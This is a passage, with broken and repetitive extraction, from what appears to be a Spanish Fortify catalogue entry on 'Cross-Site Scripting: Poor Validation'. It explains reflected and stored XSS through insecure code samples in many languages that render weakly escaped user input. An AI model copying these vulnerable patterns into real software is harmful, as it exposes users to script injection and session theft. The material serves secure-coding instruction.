, desde una solicitud HTTP, se codifica mediante HTML y se muestra en un cuadro de alerta entre las etiquetas de secuencia de comandos.
"<script>alert('<CFOUTPUT>HTMLCodeFormat(#Form.text#)</CFOUTPUT>')</script>";
text
contiene solo texto alfanumérico estándar. Si text
tiene una comilla simple, un paréntesis, y un punto y coma, finaliza el cuadro de texto alert
tras lo cual se ejecutará el código.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.user
, de una solicitud HTTP y lo muestra al usuario.
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(user))
}
user
contiene solo texto alfanumérico estándar. Si user
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(name))
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación adecuada de las entradas de todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso, ya que el direccionamiento indirecto causado por el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS se inició de este modo con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un atacante hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, que luego se refleja en el usuario y se ejecuta en el explorador web. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el atacante puede realizar operaciones con privilegios en nombre del usuario u obtener acceso a datos confidenciales del usuario.<c:out/>
con el atributo escapeXml="true"
(el comportamiento predeterminado), impide algunos de los ataques de Cross-Site Scripting, pero no todos. En función del contexto en el que aparezcan los datos, los caracteres que excedan los básicos <, >, & y " que estén codificados en código HTML, y aquellos que excedan <, >, & " y ' que estén codificados en código XML, pueden adquirir un significado meta. Confiar en estas construcciones de codificación equivale a utilizar una lista de rechazados débil para evitar los ataques de Cross-Site Scripting y puede permitir que un atacante inserte código malintencionado que se ejecutará en el explorador. Como no siempre es posible identificar con precisión el contexto en el que aparecen de forma estática los datos, Fortify Static Code Analyzer informa sobre las detecciones de ataques de Cross-Site Scripting incluso cuando se realiza la codificación y los presenta como problemas Cross-Site Scripting: Poor Validation.eid
, from an HTTP request and displays it to the user via the <c:out/>
tag.
Employee ID: <c:out value="${param.eid}"/>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.<c:out/>
tag.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <c:out value="${name}"/>
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(URLEncoder.encode(url));
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.eid
, a partir de una solicitud HTTP, escapa y se lo muestra en pantalla al usuario.
<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(escape(document.URL.substring(pos,document.URL.length)));
</SCRIPT>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.<c:out/>
con el atributo escapeXml="true"
(el comportamiento predeterminado), impide algunos de los ataques de Cross-Site Scripting, pero no todos. En función del contexto en el que aparezcan los datos, los caracteres que excedan los básicos <, >, & y " que estén codificados en código HTML, y aquellos que excedan <, >, & " y ' que estén codificados en código XML, pueden adquirir un significado meta. Confiar en estas construcciones de codificación equivale a utilizar una lista de rechazados débil para evitar los ataques de Cross-Site Scripting y puede permitir que un atacante inserte código malintencionado que se ejecutará en el explorador. Como no siempre es posible identificar con precisión el contexto en el que aparecen de forma estática los datos, Fortify Static Code Analyzer informa sobre las detecciones de ataques de Cross-Site Scripting incluso cuando se realiza la codificación y los presenta como problemas Cross-Site Scripting: Poor Validation.eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(URLEncoder.encode(url))
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
...
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSString *htmlPage = [NSString stringWithFormat: @"%@/%@/%@", @"...<input type=text onclick=\"callFunction('",
[DefaultEncoder encodeForHTML:partAfterSlashSlash],
@"')\" />"];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:htmlPage baseURL:nil];
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso porque el valor del name
se lee a partir de una base de datos y se codifica en HTML. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Los ataques que proporciona el usuario malintencionado podrían omitir los caracteres codificados o colocar la entrada en un contexto que no se vea afectada por la codificación HTML. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente desde un esquema de URL personalizado y se reflejan en el contenido de una respuesta de UIWebView. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación de iOS vulnerable, lo que se reflejará en el usuario y que el navegador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL de esquema personalizado que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL construidas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un intruso convence a las víctimas para que visiten una dirección URL que hace referencia a una aplicación vulnerable. Después de que la aplicación refleje el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.htmlspecialchars()
o htmlentities()
, impedirá algunos ataques de Cross-Site Scripting, pero no todos. En función del contexto en el que aparezcan los datos, los caracteres que van más allá de los básicos <, >, & y " que estén codificados en HTML y aquellos que van más allá de <, >, &, " y ' (solo cuando se estableció ENT_QUOTES
) que estén codificados en código XML pueden adquirir un significado meta. Confiar en estas funciones de codificación equivale a utilizar una lista de rechazados débil para evitar los ataques de Cross-Site Scripting y puede permitir que un atacante inserte código malintencionado que se ejecutará en el explorador. Como no siempre es posible identificar con precisión el contexto en el que aparecen los datos estáticos, Fortify Secure Coding Rulepacks informa sobre los hallazgos de Cross-Site Scripting incluso cuando se aplica la codificación y los presenta como problemas Cross-Site Scripting: Poor Validation.text
, desde una solicitud HTTP, se codifica mediante HTML y se muestra en un cuadro de alerta entre las etiquetas de script.
<?php
$var=$_GET['text'];
...
$var2=htmlspecialchars($var);
echo "<script>alert('$var2')</script>";
?>
text
contiene solo texto alfanumérico estándar. Si text
tiene una comilla simple, un paréntesis, y un punto y coma, finaliza el cuadro de texto alert
tras lo cual se ejecutará el código.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.eid
, a partir de una solicitud HTTP, lo codifica con la dirección URL y lo muestra al usuario.
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || HTMLDB_UTIL.url_encode(eid) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || HTMLDB_UTIL.url_encode(name) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP, lo codifica en HTML y lo muestra al usuario.
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + escape(eid))
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + escape(row["emp"]))
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP, lo codifica en HTML y lo muestra al usuario.
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Rack::Request#params()
como se mostró en el Example 1
, se observan los parámetros GET
y POST
, de modo que puede ser vulnerable a diferentes tipos de ataques además de simplemente tener el código malintencionado anexado a la dirección URL.
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada de todos los datos almacenados en la base de datos, un atacante podría ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
def getEmployee = Action { implicit request =>
var eid = request.getQueryString("eid")
eid = StringEscapeUtils.escapeHtml(eid); // insufficient validation
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso porque el valor del name
se lee a partir de una base de datos y se codifica en HTML. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Los ataques que proporciona el usuario malintencionado podrían omitir los caracteres codificados o colocar la entrada en un contexto que no se vea afectada por la codificación HTML. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField
contiene solo texto alfanumérico estándar. Si el texto en inputTextField
incluye metacaracteres o código fuente, el explorador web puede ejecutar la entrada como código al tiempo que muestra la respuesta HTTP.Example 1
, los datos se leen directamente desde un esquema de URL personalizado y se reflejan en el contenido de una respuesta de UIWebView. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación de iOS vulnerable, lo que se reflejará en el usuario y que el navegador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL de esquema personalizado que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL construidas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un intruso convence a las víctimas para que visiten una dirección URL que hace referencia a una aplicación vulnerable. Después de que la aplicación refleje el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
